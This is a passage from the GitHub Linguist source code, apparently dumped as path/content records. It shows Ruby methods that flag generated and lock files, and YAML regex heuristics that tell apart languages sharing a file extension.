C/C++ header generated by the Java JNI tool javah?\n    #\n    # Returns true or false.\n    def generated_jni_header?\n      return false unless extname == '.h'\n      return false unless lines.count > 2\n\n      return lines[0].include?(\"/* DO NOT EDIT THIS FILE - it is machine generated */\") &&\n               lines[1].include?(\"#include <jni.h>\")\n    end\n\n    # Internal: Is the blob part of node_modules/, which are not meant for humans in pull requests.\n    #\n    # Returns true or false.\n    def node_modules?\n      !!name.match(/node_modules\\//)\n    end\n\n    # Internal: Is the blob part of the Go vendor/ tree,\n    # not meant for humans in pull requests.\n    #\n    # Returns true or false.\n    def go_vendor?\n      !!name.match(/vendor\\/((?!-)[-0-9A-Za-z]+(?<!-)\\.)+(com|edu|gov|in|me|net|org|fm|io)/)\n    end\n\n    # Internal: Is the blob a generated Go dep or glide lock file?\n    #\n    # Returns true or false.\n    def go_lock?\n      !!name.match(/(Gopkg|glide)\\.lock/)\n    end\n\n    # Internal: Is the blob a generated Package.resolved?\n    #\n    # Returns true or false.\n    def package_resolved?\n      !!name.match(/Package\\.resolved/)\n    end\n\n    # Internal: Is the blob a generated poetry.lock?\n    #\n    # Returns true or false.\n    def poetry_lock?\n      !!name.match(/poetry\\.lock/)\n    end\n\n    # Internal: Is the blob a generated pdm.lock?\n    #\n    # Returns true or false.\n    def pdm_lock?\n      !!name.match(/pdm\\.lock/)\n    end\n\n    # Internal: Is the blob a generated uv.lock?\n    #\n    # Returns true or false.\n    def uv_lock?\n      !!name.match(/uv\\.lock/)\n    end\n\n    # Internal: Is the blob a generated pixi lock file?\n    #\n    # Returns true or false.\n    def pixi_lock?\n      !!name.match(/pixi\\.lock/)\n    end\n\n    # Internal: Is the blob a generated esy lock file?\n    #\n    # Returns true or false.\n    def esy_lock?\n      !!name.match(/(^|\\/)(\\w+\\.)?esy.lock$/)\n    end\n\n    # Internal: Is the blob a generated deno lockfile, which are not meant for humans in pull requests.\n    #\n    # Returns true or false.\n    def deno_lock?\n      !!name.match(/deno\\.lock/)\n    end\n\n    # Internal: Is the blob a generated npm shrinkwrap or package lock file?\n    #\n    # Returns true or false.\n    def npm_shrinkwrap_or_package_lock?\n      !!name.match(/npm-shrinkwrap\\.json/) || !!name.match(/package-lock\\.json/)\n    end\n\n    # Internal: Is the blob a generated pnpm lockfile?\n    #\n    # Returns true or false.\n    def pnpm_lock?\n      !!name.match(/pnpm-lock\\.yaml/)\n    end\n\n    # Internal: Is the blob a generated bun lockfile?\n    #\n    # Returns true or false.\n    def bun_lock?\n      !!name.match(/(?:^|\\/)bun\\.lockb?$/)\n    end\n\n    # Internal: Is the blob a generated Yarn Plug'n'Play?\n    #\n    # Returns true or false.\n    def generated_yarn_plugnplay?\n      !!name.match(/(^|\\/)\\.pnp\\..*$/)\n    end\n\n    # Internal: Is the blob part of Godeps/,\n    # which are not meant for humans in pull requests.\n    #\n    # Returns true or false.\n    def godeps?\n      !!name.match(/Godeps\\//)\n    end\n\n    # Internal: Is the blob a generated php composer lock file?\n    #\n    # Returns true or false.\n    def composer_lock?\n      !!name.match(/composer\\.lock/)\n    end\n\n    # Internal: Is the blob generated by Zephir?\n    #\n    # Returns true or false.\n    def generated_by_zephir?\n      !!name.match(/.\\.zep\\.(?:c|h|php)$/)\n    end\n\n    # Internal: Is the blob a generated Rust Cargo lock file?\n    #\n    # Returns true or false.\n    def cargo_lock?\n      !!name.match(/Cargo\\.lock/)\n    end\n\n    # Internal: Is the blob a generated Rust Cargo original file?\n    #\n    # Returns true or false.\n    def cargo_orig?\n      !!name.match(/Cargo\\.toml\\.orig/)\n    end\n\n    # Internal: Is the blob a generated Nix flakes lock file?\n    #\n    # Returns true or false\n    def flake_lock?\n      !!name.match(/(^|\\/)flake\\.lock$/)\n    end\n\n    # Internal: Is the blob a Bazel generated bzlmod lockfile?\n    #\n    # Returns true or false\n    def bazel_lock?\n      !!name.match(/(^|\\/)MODULE\\.bazel\\.lock$/)\n    end\n\n    # Internal: Is the blob a generated gradle wrapper file?\n    #\n    # Returns true or false.\n    def gradle_wrapper?\n      !!name.match(/(?:^|\\/)gradlew(?:\\.bat)?$/i)\n    end\n\n    # Internal: Is the blob a generated maven wrapper file?\n    #\n    # Returns true or false.\n    def maven_wrapper?\n      !!name.match(/(?:^|\\/)mvnw(?:\\.cmd)?$/i)\n    end\n\n    # Is the blob a VCR Cassette file?\n    #\n    # Returns true or false\n    def vcr_cassette?\n      return false unless extname == '.yml'\n      return false unless lines.count > 2\n      # VCR Cassettes have \"recorded_with: VCR\" in the second last line.\n      return lines[-2].include?(\"recorded_with: VCR\")\n    end\n\n    # Is this a generated ANTLR file?\n    #\n    # Returns true or false\n    def generated_antlr?\n      return false unless extname == '.g'\n      return false unless lines.count > 2\n      return lines[1].include?(\"generated by Xtest\")\n    end\n\n    # Internal: Is this a compiled C/C++ file from Cython?\n    #\n    # Cython-compiled C/C++ files typically contain:\n    # /* Generated by Cython x.x.x on ... */\n    # on the first line.\n    #\n    # Return true or false\n    def compiled_cython_file?\n      return false unless ['.c', '.cpp'].include? extname\n      return false unless lines.count > 1\n      return lines[0].include?(\"Generated by Cython\")\n    end\n\n    # Internal: Is this a Pipenv lock file?\n    #\n    # Returns true or false.\n    def pipenv_lock?\n      !!name.match(/Pipfile\\.lock/)\n    end\n\n    # Internal: Is this a Terraform lock file?\n    #\n    # Returns true or false.\n    def terraform_lock?\n      !!name.match(/(?:^|\\/)\\.terraform\\.lock\\.hcl$/)\n    end\n\n    # Internal: Is it a KiCAD or GFortran module file?\n    #\n    # KiCAD module files contain:\n    # PCBNEW-LibModule-V1  yyyy-mm-dd h:mm:ss XM\n    # on the first line.\n    #\n    # GFortran module files contain:\n    # GFORTRAN module version 'x' created from\n    # on the first line.\n    #\n    # Return true or false\n    def generated_module?\n      return false unless extname == '.mod'\n      return false unless lines.count > 1\n      return lines[0].include?(\"PCBNEW-LibModule-V\") ||\n              lines[0].include?(\"GFORTRAN module version '\")\n    end\n\n    # Internal: Is this a metadata file from Unity3D?\n    #\n    # Unity3D Meta files start with:\n    #   fileFormatVersion: X\n    #   guid: XXXXXXXXXXXXXXX\n    #\n    # Return true or false\n    def generated_unity3d_meta?\n      return false unless extname == '.meta'\n      return false unless lines.count > 1\n      return lines[0].include?(\"fileFormatVersion: \")\n    end\n\n    # Internal: Is this a Racc-generated file?\n    #\n    # A Racc-generated file contains:\n    # # This file is automatically generated by Racc x.y.z\n    # on the third line.\n    #\n    # Return true or false\n    def generated_racc?\n      return false unless extname == '.rb'\n      return false unless lines.count > 2\n      return lines[2].start_with?(\"# This file is automatically generated by Racc\")\n    end\n\n    # Internal: Is this a JFlex-generated file?\n    #\n    # A JFlex-generated file contains:\n    # /* The following code was generated by JFlex x.y.z on d/at/e ti:me */\n    # on the first line.\n    #\n    # Return true or false\n    def generated_jflex?\n      return false unless extname == '.java'\n      return false unless lines.count > 1\n      return lines[0].start_with?(\"/* The following code was generated by JFlex \")\n    end\n\n    # Internal: Is this a GrammarKit-generated file?\n    #\n    # A GrammarKit-generated file typically contain:\n    # // This is a generated file. Not intended for manual editing.\n    # on the first line. This is not always the case, as it's possible to\n    # customize the class header.\n    #\n    # Return true or false\n    def generated_grammarkit?\n      return false unless extname == '.java'\n      return false unless lines.count > 1\n      return lines[0].start_with?(\"// This is a generated file. Not intended for manual editing.\")\n    end\n\n    # Internal: Is this a roxygen2-generated file?\n    #\n    # A roxygen2-generated file typically contain:\n    # % Generated by roxygen2: do not edit by hand\n    # on the first line.\n    #\n    # Return true or false\n    def generated_roxygen2?\n      return false unless extname == '.Rd'\n      return false unless lines.count > 1\n\n      return lines[0].include?(\"% Generated by roxygen2: do not edit by hand\")\n    end\n\n    # Internal: Is this a Jison-generated file?\n    #\n    # Jison-generated parsers typically contain:\n    # /* parser generated by jison\n    # on the first line.\n    #\n    # Jison-generated lexers typically contain:\n    # /* generated by jison-lex\n    # on the first line.\n    #\n    # Return true or false\n    def generated_jison?\n      return false unless extname == '.js'\n      return false unless lines.count > 1\n      return lines[0].start_with?(\"/* parser generated by jison \") ||\n             lines[0].start_with?(\"/* generated by jison-lex \")\n    end\n\n    # Internal: Is this a protobuf/grpc-generated C++ file?\n    #\n    # A generated file contains:\n    # // Generated by the gRPC C++ plugin.\n    # on the first line.\n    #\n    # Return true or false\n    def generated_grpc_cpp?\n      return false unless %w{.cpp .hpp .h .cc}.include? extname\n      return false unless lines.count > 1\n      return lines[0].start_with?(\"// Generated by the gRPC\")\n    end\n\n    # Internal: Is this a generated Dart file?\n    #\n    # A google/protoc-plugin generated file contains:\n    # // Generated code. Do not modify.\n    # on the second line.\n    #\n    # A source_gen generated file may contain:\n    # // GENERATED CODE - DO NOT MODIFY\n    # on the first, second, or third line.\n    #\n    # Return true or false\n    def generated_dart?\n      return false unless extname == '.dart'\n      return false unless lines.count > 1\n      return lines.first(3).any? { |l| l.downcase.match(/generated code\\W{2,3}do not modify/) }\n    end\n\n    # Internal: Is the file a generated Perl/Pollution/Portability header file?\n    #\n    # Returns true or false.\n    def generated_perl_ppport_header?\n        return false unless name.match(/ppport\\.h$/)\n        return false unless lines.count > 10\n        return lines[8].include?(\"Automatically created by Devel::PPPort\")\n    end\n\n    # Internal: Is this a relay-compiler generated graphql file?\n    #\n    # Return true or false\n    def generated_graphql_relay?\n      !!name.match(/__generated__\\//)\n    end\n\n    # Internal: Is this a generated Game Maker Studio (2) metadata file?\n    #\n    # Return true or false\n    def generated_gamemakerstudio?\n      return false unless ['.yy', '.yyp'].include? extname\n      return false unless lines.count > 3\n      return lines.first(3).join('').match?(/^\\s*[\\{\\[]/) ||\n             lines[0] =~ /^\\d\\.\\d\\.\\d.+\\|\\{/\n    end\n\n    # Internal: Is this a generated GIMP C image file?\n    #\n    # GIMP saves C sources with one of two comment forms:\n    # * `/* GIMP RGB C-Source image dump (<filename>.c) */` (C source export)\n    # * `/*  GIMP header image file format (RGB): <filename>.h  */` (Header export)\n    #\n    # Return true or false\n    def generated_gimp?\n      return false unless ['.c', '.h'].include? extname\n      return false unless lines.count > 0\n      return lines[0].match(/^\\/\\* GIMP [a-zA-Z0-9\\- ]+ C\\-Source image dump \\(.+?\\.c\\) \\*\\//) ||\n             lines[0].match(/^\\/\\*  GIMP header image file format \\([a-zA-Z0-9\\- ]+\\)\\: .+?\\.h  \\*\\//)\n    end\n\n    # Internal: Is this a generated Microsoft Visual Studio 6.0 build file?\n    #\n    # Return true or false\n    def generated_visualstudio6?\n      return false unless extname.downcase == '.dsp'\n      lines.first(3).any? { |l| l.include? '# Microsoft Developer Studio Generated Build File' }\n    end\n\n    HAXE_EXTENSIONS = ['.js', '.py', '.lua', '.cpp', '.h', '.java', '.cs', '.php']\n\n    # Internal: Is this a generated Haxe-generated source file?\n    #\n    # Return true or false\n    def generated_haxe?\n      return false unless HAXE_EXTENSIONS.include?(extname)\n      return lines.first(3).any? { |l| l.include?(\"Generated by Haxe\") }\n    end\n\n    # Internal: Is this a generated HTML file?\n    #\n    # HTML documents generated by authoring tools often include a\n    # a <meta> tag in the header of the form:\n    #\n    #    <meta name=\"generator\" content=\"DocGen v5.0.1\" />\n    #\n    # Return true or false\n    def generated_html?\n      return false unless ['.html', '.htm', '.xhtml'].include? extname.downcase\n      return false unless lines.count > 1\n\n      # Pkgdown\n      return true if lines[0..1].any? do |line|\n        line.match(/<!-- Generated by pkgdown: do not edit by hand -->/)\n      end\n\n      # Mandoc\n      return true if lines.count > 2 && lines[2].start_with?('<!-- This is an automatically generated file.')\n\n      # Doxygen\n      return true if lines[0..30].any? do |line|\n        line.match(/<!--\\s+Generated by Doxygen\\s+[.0-9]+\\s*-->/i)\n      end\n\n      # HTML tag: <meta name=\"generator\" content=\"…\" />\n      matches = lines[0..30].join(' ').scan(/<meta(\\s+[^>]++)>/i)\n      return false if matches.empty?\n      return matches.map {|x| extract_html_meta(x) }.any? do |attr|\n        attr[\"name\"].to_s.downcase == 'generator' &&\n        [attr[\"content\"], attr[\"value\"]].any? do |cv|\n          !cv.nil? &&\n          cv.match(/^\n            ( org \\s+ mode\n            | j?latex2html\n            | groff\n            | makeinfo\n            | texi2html\n            | ronn\n            ) \\b\n          /ix)\n        end\n      end\n    end\n\n    # Internal: Is this a generated jOOQ file?\n    #\n    # Return true or false\n    def generated_jooq?\n      return false unless extname.downcase == '.java'\n      lines.first(2).any? { |l| l.include? 'This file is generated by jOOQ.' }\n    end\n\n    # Internal: Is this a generated Delphi Interface file for a type library?\n    #\n    # Delphi Type Library Import tool generates *_TLB.pas files based on .ridl files.\n    # They are not meant to be altered by humans.\n    #\n    # Returns true or false\n    def generated_pascal_tlb?\n      !!name.match(/_tlb\\.pas$/i)\n    end\n\n    # Internal: Is this a Sorbet RBI file generated by Tapioca?\n    #\n    # Tapioca generates non-human-editable .rbi files in several different\n    # ways:\n    #\n    # 1. `tapioca gem` uses reflection to generate generic .rbi for gems.\n    # 2. `tapioca dsl` uses DSL compilers to generate .rbi for modules/classes.\n    # 3. `tapioca annotations` pulls .rbi from remote sources.\n    #\n    # All are marked with similar wording.\n    #\n    # Returns true or false\n    def generated_sorbet_rbi?\n      return false unless extname.downcase == '.rbi'\n      return false unless lines.count >= 5\n      lines[0].match?(/^# typed:/) &&\n      lines[2].include?(\"DO NOT EDIT MANUALLY\") &&\n      lines[4].match?(/^# Please (run|instead update this file by running) `bin\\/tapioca/)\n    end\n\n    # Internal: Is it MySQL View Definition Format?\n    #\n    # MySQL View Definition Format (INI) files are generated by MySQL 5.7 and earlier.\n    # They are not meant to be altered by humans.\n    #\n    # Returns true or false\n    def generated_mysql_view_definition_format?\n      return false unless extname.downcase == '.frm'\n      return lines[0].include?(\"TYPE=VIEW\")\n    end\n\n    # Internal: Is this an HTML coverage report?\n    #\n    # Tools like coverage.py generate HTML reports under an `htmlcov` directory.\n    #\n    # Returns true or false.\n    def htmlcov?\n      !!name.match(/(?:^|\\/)htmlcov\\//)\n    end\n\n    # Internal: Extract a Hash of name/content pairs from an HTML <meta> tag\n    def extract_html_meta(match)\n      (match.last.sub(/\\/\\Z/, \"\").strip.scan(/\n        (?<=^|\\s)              # Check for preceding whitespace\n        (name|content|value)   # Attribute names we're interested in\n        \\s* = \\s*              # Key-value separator\n\n        # Attribute value\n        ( \"[^\"]+\"        # name=\"value\"\n        | '[^']+'        # name='value'\n        |  [^\\s\"']+      # name=value\n        )\n      /ix)).map do |match|\n        key = match[0].downcase\n        val = match[1].gsub(/\\A[\"']|[\"']\\Z/, '')\n        [key, val]\n      end.select { |x| x.length == 2 }.to_h\n    end\n\n    # Internal: Is this a generated SQLx query file?\n    #\n    # SQLx is a Rust SQL library which generates `**/.sqlx/query-*.json` files\n    # in offline mode (enabled by default).\n    #\n    # These are used to be able to compile a project without requiring\n    # the development database to be online.\n    #\n    # Returns true or false.\n    def generated_sqlx_query?\n      !!name.match(/(?:^|\\/)\\.sqlx\\/query-[a-f\\d]{64}\\.json$/)\n    end\n  end\nend\n"
  },
  {
    "path": "lib/linguist/generic.yml",
    "content": "# This is a list of file extensions considered too common to safely associate\n# with only the formats Linguist recognises. In addition to the stipulated\n# extension requirement, candidate matches must also satisfy a heuristic\n# (or some other strategy) in order to be identified as any one language.\n\n---\nextensions:\n- \".1\"\n- \".2\"\n- \".3\"\n- \".4\"\n- \".5\"\n- \".6\"\n- \".7\"\n- \".8\"\n- \".9\"\n- \".action\"\n- \".alg\"\n- \".app\"\n- \".cmp\"\n- \".msg\"\n- \".resource\"\n- \".sol\"\n- \".srv\"\n- \".stl\"\n- \".tag\"\n- \".url\"\n"
  },
  {
    "path": "lib/linguist/grammars.rb",
    "content": "module Linguist\n  module Grammars\n    # Get the path to the directory containing the language grammar JSON files.\n    #\n    # Returns a String.\n    def self.path\n      File.expand_path(\"../../../grammars\", __FILE__)\n    end\n  end\nend\n"
  },
  {
    "path": "lib/linguist/heuristics.rb",
    "content": "require 'yaml'\n\nmodule Linguist\n  # A collection of simple heuristics that can be used to better analyze languages.\n  class Heuristics\n    HEURISTICS_CONSIDER_BYTES = 50 * 1024\n\n    # Public: Use heuristics to detect language of the blob.\n    #\n    # blob               - An object that quacks like a blob.\n    # possible_languages - Array of Language objects\n    #\n    # Examples\n    #\n    #   Heuristics.call(FileBlob.new(\"path/to/file\"), [\n    #     Language[\"Ruby\"], Language[\"Python\"]\n    #   ])\n    #\n    # Returns an Array of languages, or empty if none matched or were inconclusive.\n    def self.call(blob, candidates)\n      return [] if blob.symlink?\n      self.load()\n\n      data = blob.data[0...HEURISTICS_CONSIDER_BYTES]\n\n      @heuristics.each do |heuristic|\n        if heuristic.matches?(blob.name, candidates)\n          return Array(heuristic.call(data))\n        end\n      end\n\n      [] # No heuristics matched\n    rescue Regexp::TimeoutError\n      [] # Return nothing if we have a bad regexp which leads to a timeout enforced by Regexp.timeout in Ruby 3.2 or later\n    end\n\n    # Public: Get all heuristic definitions\n    #\n    # Returns an Array of heuristic objects.\n    def self.all\n      self.load()\n      @heuristics\n    end\n\n    # Internal: Load heuristics from 'heuristics.yml'.\n    def self.load()\n      if @heuristics.any?\n        return\n      end\n\n      data = self.load_config\n      named_patterns = data['named_patterns'].map { |k,v| [k, self.to_regex(v)] }.to_h\n\n      data['disambiguations'].each do |disambiguation|\n        exts = disambiguation['extensions']\n        rules = disambiguation['rules']\n        rules.map! do |rule|\n          rule['pattern'] = self.parse_rule(named_patterns, rule)\n          rule\n        end\n        @heuristics << new(exts, rules)\n      end\n    end\n\n    def self.load_config\n      YAML.load_file(File.expand_path(\"../heuristics.yml\", __FILE__))\n    end\n\n    def self.parse_rule(named_patterns, rule)\n      if !rule['and'].nil?\n        rules = rule['and'].map { |block| self.parse_rule(named_patterns, block) }\n        return And.new(rules)\n      elsif !rule['pattern'].nil?\n        return self.to_regex(rule['pattern'])\n      elsif !rule['negative_pattern'].nil?\n        pat = self.to_regex(rule['negative_pattern'])\n        return NegativePattern.new(pat)\n      elsif !rule['named_pattern'].nil?\n        return named_patterns[rule['named_pattern']]\n      else\n        return AlwaysMatch.new()\n      end\n    end\n\n    # Internal: Converts a string or array of strings to regexp\n    #\n    # str: string or array of strings. If it is an array of strings,\n    #      Regexp.union will be used.\n    def self.to_regex(str)\n      if str.kind_of?(Array)\n        Regexp.union(str.map { |s| Regexp.new(s) })\n      else\n        Regexp.new(str)\n      end\n    end\n\n    # Internal: Array of defined heuristics\n    @heuristics = []\n\n    # Internal\n    def initialize(exts, rules)\n      @exts = exts\n      @rules = rules\n    end\n\n    # Internal: Return the heuristic's target extensions\n    def extensions\n      @exts\n    end\n\n    # Internal: Return the heuristic's candidate languages\n    def languages\n      @rules.map do |rule|\n        [rule['language']].flatten(2).map { |name| Language[name] }\n      end.flatten.uniq\n    end\n\n    # Internal: Check if this heuristic matches the candidate filenames or\n    # languages.\n    def matches?(filename, candidates)\n      filename = filename.downcase\n      candidates = candidates.compact.map(&:name)\n      @exts.any? { |ext| filename.end_with?(ext) }\n    end\n\n    # Internal: Perform the heuristic\n    def call(data)\n      matched = @rules.find do |rule|\n        rule['pattern'].match?(data)\n      end\n      if !matched.nil?\n        languages = matched['language']\n        if languages.is_a?(Array)\n          languages.map{ |l| Language[l] }\n        else\n          Language[languages]\n        end\n      end\n    end\n  end\n\n  class And\n\n    def initialize(pats)\n      @pats = pats\n    end\n\n    def match?(input)\n      return @pats.all? { |pat| pat.match?(input) }\n    end\n\n  end\n\n  class AlwaysMatch\n    def match?(input)\n      return true\n    end\n  end\n\n  class NegativePattern\n\n    def initialize(pat)\n      @pat = pat\n    end\n\n    def match?(input)\n      return !@pat.match?(input)\n    end\n\n  end\nend\n"
  },
  {
    "path": "lib/linguist/heuristics.yml",
    "content": "# A collection of simple regexp-based rules that can be applied to content\n# to disambiguate languages with the same file extension.\n#\n# There are two top-level keys: disambiguations and named_patterns.\n#\n# disambiguations     - a list of disambiguation rules, one for each\n#                       extension or group of extensions.\n# extensions          - an array of file extensions that this block applies to.\n# rules               - list of rules that are applied in order to the content\n#                       of a file with a matching extension. Rules are evaluated\n#                       until one of them matches. If none matches, no language\n#                       is returned.\n# language            - Language to be returned if the rule matches.\n# pattern             - Ruby-compatible regular expression that makes the rule\n#                       match. If no pattern is specified, the rule always matches.\n#                       Pattern can be a string with a single regular expression\n#                       or an array of strings that will be merged in a single\n#                       regular expression (with union).\n# and                 - An and block merges multiple rules and checks that all of\n#                       them must match.\n# negative_pattern    - Same as pattern, but checks for absence of matches.\n# named_pattern       - A pattern can be reused by specifying it in the\n#                       named_patterns section and referencing it here by its\n#                       key.\n# named_patterns      - Key-value map of reusable named patterns.\n#\n# Please keep this list alphabetized.\n#\n---\ndisambiguations:\n- extensions: ['.1', '.2', '.3', '.4', '.5', '.6', '.7', '.8', '.9']\n  rules:\n  - language: Roff Manpage\n    and:\n    - named_pattern: mdoc-date\n    - named_pattern: mdoc-title\n    - named_pattern: mdoc-heading\n  - language: Roff Manpage\n    and:\n    - named_pattern: man-title\n    - named_pattern: man-heading\n  - language: Roff\n    pattern: '^\\.(?:[A-Za-z]{2}(?:\\s|$)|\\\\\")'\n  - language: Text\n- extensions: ['.1in', '.1m', '.1x', '.3in', '.3m', '.3p', '.3pm', '.3qt', '.3x', '.man', '.mdoc']\n  rules:\n  - language: Roff Manpage\n    and:\n    - named_pattern: mdoc-date\n    - named_pattern: mdoc-title\n    - named_pattern: mdoc-heading\n  - language: Roff Manpage\n    and:\n    - named_pattern: man-title\n    - named_pattern: man-heading\n  - language: Roff\n- extensions: ['.action']\n  rules:\n  - language: ROS Interface\n    and:\n      - pattern: '(?i)^[a-z]\\w*(?:\\/[a-z]\\w*)?(?:<=\\d+)?(?:\\[(?:<=\\d+)?\\])?\\s+\\w+\\b'\n      - pattern: '^---\\s*$'\n      - negative_pattern: '^\\s*[^\\s@#\\w-]'\n- extensions: ['.al']\n  rules:\n  # AL pattern source from https://github.com/microsoft/AL/blob/master/grammar/alsyntax.tmlanguage - keyword.other.applicationobject.al\n  - language: AL\n    and:\n    - pattern: '\\b(?i:(CODEUNIT|PAGE|PAGEEXTENSION|PAGECUSTOMIZATION|DOTNET|ENUM|ENUMEXTENSION|VALUE|QUERY|REPORT|TABLE|TABLEEXTENSION|XMLPORT|PROFILE|CONTROLADDIN|REPORTEXTENSION|INTERFACE|PERMISSIONSET|PERMISSIONSETEXTENSION|ENTITLEMENT))\\b'\n  # Open-ended fallback to Perl AutoLoader\n  - language: Perl\n- extensions: ['.alg']\n  rules:\n  - language: ALGOL\n    pattern:\n    # ALGOL 60 comments\n    - '(?i)^comment\\b.*(;|comment)'\n    # ALGOL 68 comments\n    - '^#[^#\\r\\n]+#$'\n    # ALGOL 60/68 keywords\n    - '(?i)\\b(integer|real|boolean|string)\\b\\s+\\w+\\s*:=\\s*'\n    - '(?i)^begin[\\s\\S]*^end'\n- extensions: ['.app']\n  rules:\n  - language: Erlang\n    pattern: '^\\{\\s*(?:application|''application'')\\s*,\\s*(?:[a-z]+[\\w@]*|''[^'']+'')\\s*,\\s*\\[(?:.|[\\r\\n])*\\]\\s*\\}\\.[ \\t]*$'\n- extensions: ['.as']\n  rules:\n  - language: ActionScript\n    pattern: '^\\s*(?:package(?:\\s+[\\w.]+)?\\s+(?:\\{|$)|import\\s+[\\w.*]+\\s*;|(?:intrinsic\\s+)class\\s+[\\w<>.]+|\\s+class\\s+extends\\s+[\\w<>.]+|(?:(?:public|protected|private|static)\\s+)*(?:(?:var|const|local)\\s+\\w+\\s*:\\s*[\\w<>.]+(?:\\s*=.*)?\\s*;|function\\s+\\w+\\s*\\((?:\\s*\\w+\\s*:\\s*[\\w<>.]+\\s*(,\\s*\\w+\\s*:\\s*[\\w<>.]+\\s*)*)?\\)))'\n- extensions: ['.asc']\n  rules:\n  - language: Public Key\n    pattern: '^(----[- ]BEGIN|ssh-(rsa|dss)) '\n  - language: AsciiDoc\n    pattern: '^[=-]+\\s|\\{\\{[A-Za-z]'\n  - language: AGS Script\n    pattern: '^(\\/\\/.+|((import|export)\\s+)?(function|int|float|char)\\s+((room|repeatedly|on|game)_)?([A-Za-z]+[A-Za-z_0-9]+)\\s*[;\\(])'\n- extensions: ['.asm']\n  rules:\n  - language: Assembly\n    pattern: '(?i)mov\\s+[^\\s]{2,},'\n  - language: Motorola 68K Assembly\n    named_pattern: m68k\n- extensions: ['.asy']\n  rules:\n  - language: LTspice Symbol\n    pattern: '^SymbolType[ \\t]'\n  - language: Asymptote\n- extensions: ['.bas']\n  rules:\n  - language: B4X\n    pattern: '\\A\\W{0,3}(?:.*(?:\\r?\\n|\\r)){0,9}B4(?:J|A|R|i)=true'\n  - language: FreeBASIC\n    named_pattern: freebasic\n  - language: FreeBASIC\n    and:\n    - pattern: '(?i)^[ \\t]*return '\n    - negative_pattern: '(?i)[ \\t]*gosub '\n  - language: BASIC\n    pattern: '\\A\\s*\\d'\n  - language: QuickBASIC\n    named_pattern: quickbasic\n  - language: VBA\n    named_pattern: vba\n  - language: Visual Basic 6.0\n    named_pattern: vb-module\n- extensions: ['.bb']\n  rules:\n  - language: BlitzBasic\n    pattern: '(<^\\s*; |End Function)'\n  - language: BitBake\n    pattern: '^(# |include|require|inherit)\\b'\n  - language: Clojure\n    pattern: '\\((def|defn|defmacro|let)\\s'\n- extensions: ['.bf']\n  rules:\n  - language: Beef\n    pattern: '(?-m)^\\s*using\\s+(System|Beefy)(\\.(.*))?;\\s*$'\n  - language: HyPhy\n    pattern:\n    - '(?-m)^\\s*#include\\s+\".*\";\\s*$'\n    - '\\sfprintf\\s*\\('\n  - language: Brainfuck\n    pattern: '(>\\+>|>\\+<)'\n- extensions: ['.bi']\n  rules:\n  - language: FreeBASIC\n    named_pattern: freebasic\n  - language: FreeBASIC\n    and:\n    - pattern: '(?i)^[ \\t]*return '\n    - negative_pattern: '(?i)[ \\t]*gosub '\n  - language: QuickBASIC\n    named_pattern: quickbasic\n- extensions: ['.bs']\n  rules:\n  - language: Bikeshed\n    pattern: '^(?i:<pre\\s+class)\\s*=\\s*(''|\\\"|\\b)metadata\\b(''|\\\"|\\b)[^>\\r\\n]*>'\n  - language: BrighterScript\n    pattern:\n    - (?i:^\\s*(?:sub\\s*\\w+\\(.*?\\))|(?::\\s*sub\\(.*?\\))$)\n    - (?i:^\\s*(end\\ssub)$)\n    - (?i:^\\s*(?:function\\s*\\w+\\(.*?\\)\\s*as\\s*\\w*)|(?::\\s*function\\(.*?\\)\\s*as\\s*\\w*)$)\n    - (?i:^\\s*(end\\sfunction)$)\n  - language: Bluespec BH\n    pattern: '^package\\s+[A-Za-z_][A-Za-z0-9_'']*(?:\\s*\\(|\\s+where)'\n- extensions: ['.bst']\n  rules:\n  - language: BibTeX Style\n    pattern: 'ENTRY\\s*\\{'\n  - language: BuildStream\n- extensions: ['.builds']\n  rules:\n  - language: XML\n    pattern: '^(\\s*)(?i:<Project|<Import|<Property|<?xml|xmlns)'\n- extensions: ['.cairo']\n  rules:\n    - language: Cairo Zero\n      pattern: '(^(\\s*)%lang(\\s+)([A-Za-z0-9_]+))|(^(\\s*)%builtins(\\s+)([A-Za-z0-9_]+\\s*)*$)|(^(\\s*)from(\\s+)starkware\\.(cairo|starknet)\\.([A-Za-z0-9_.\\s]+?)import)|(,\\s*ap\\+\\+;$)|(;\\s*ap\\+\\+$)'\n    - language: Cairo\n- extensions: ['.ch']\n  rules:\n  - language: xBase\n    pattern: '^\\s*#\\s*(?i:if|ifdef|ifndef|define|command|xcommand|translate|xtranslate|include|pragma|undef)\\b'\n- extensions: ['.cl']\n  rules:\n  - language: Common Lisp\n    pattern: '^\\s*\\((?i:defun|in-package|defpackage) '\n  - language: Cool\n    pattern: '^class'\n  - language: OpenCL\n    pattern: '\\/\\* |\\/\\/ |^\\}'\n- extensions: ['.cls']\n  rules:\n  - language: Visual Basic 6.0\n    and:\n    - named_pattern: vb-class\n    - pattern: '^\\s*BEGIN(?:\\r?\\n|\\r)\\s*MultiUse\\s*=.*(?:\\r?\\n|\\r)\\s*Persistable\\s*='\n  - language: VBA\n    named_pattern: vb-class\n  - language: TeX\n    pattern: '^\\s*\\\\(?:NeedsTeXFormat|ProvidesClass)\\{'\n  - language: ObjectScript\n    pattern: '^Class\\s'\n  - language: OpenEdge ABL\n    pattern: '(?i)^\\s*(?:end\\s+(?:class|interface)\\.|(?:class|interface)\\s+[a-z_][a-z0-9_#$%&-]*:)'\n- extensions: ['.cmp']\n  rules:\n  - language: Gerber Image\n    pattern: '^[DGMT][0-9]{2}\\*(?:\\r?\\n|\\r)'\n- extensions: ['.cs']\n  rules:\n  - language: Smalltalk\n    pattern: '![\\w\\s]+methodsFor: '\n  - language: 'C#'\n    pattern: '^\\s*(using\\s+[A-Z][\\s\\w.]+;|namespace\\s*[\\w\\.]+\\s*(\\{|;)|\\/\\/)'\n- extensions: ['.csc']\n  rules:\n  - language: GSC\n    named_pattern: gsc\n- extensions: ['.csl']\n  rules:\n  - language: XML\n    pattern: '(?i:^\\s*(<\\?xml|xmlns))'\n  - language: Kusto\n    pattern: '(^\\|\\s*(where|extend|project|limit|summarize))|(^\\.\\w+)'\n- extensions: ['.d']\n  rules:\n  - language: D\n    # see http://dlang.org/spec/grammar\n    # ModuleDeclaration | ImportDeclaration | FuncDeclaration | unittest\n    pattern: '^module\\s+[\\w.]*\\s*;|import\\s+[\\w\\s,.:]*;|\\w+\\s+\\w+\\s*\\(.*\\)(?:\\(.*\\))?\\s*\\{[^}]*\\}|unittest\\s*(?:\\(.*\\))?\\s*\\{[^}]*\\}'\n  - language: DTrace\n    # see http://dtrace.org/guide/chp-prog.html, http://dtrace.org/guide/chp-profile.html, http://dtrace.org/guide/chp-opt.html\n    pattern: 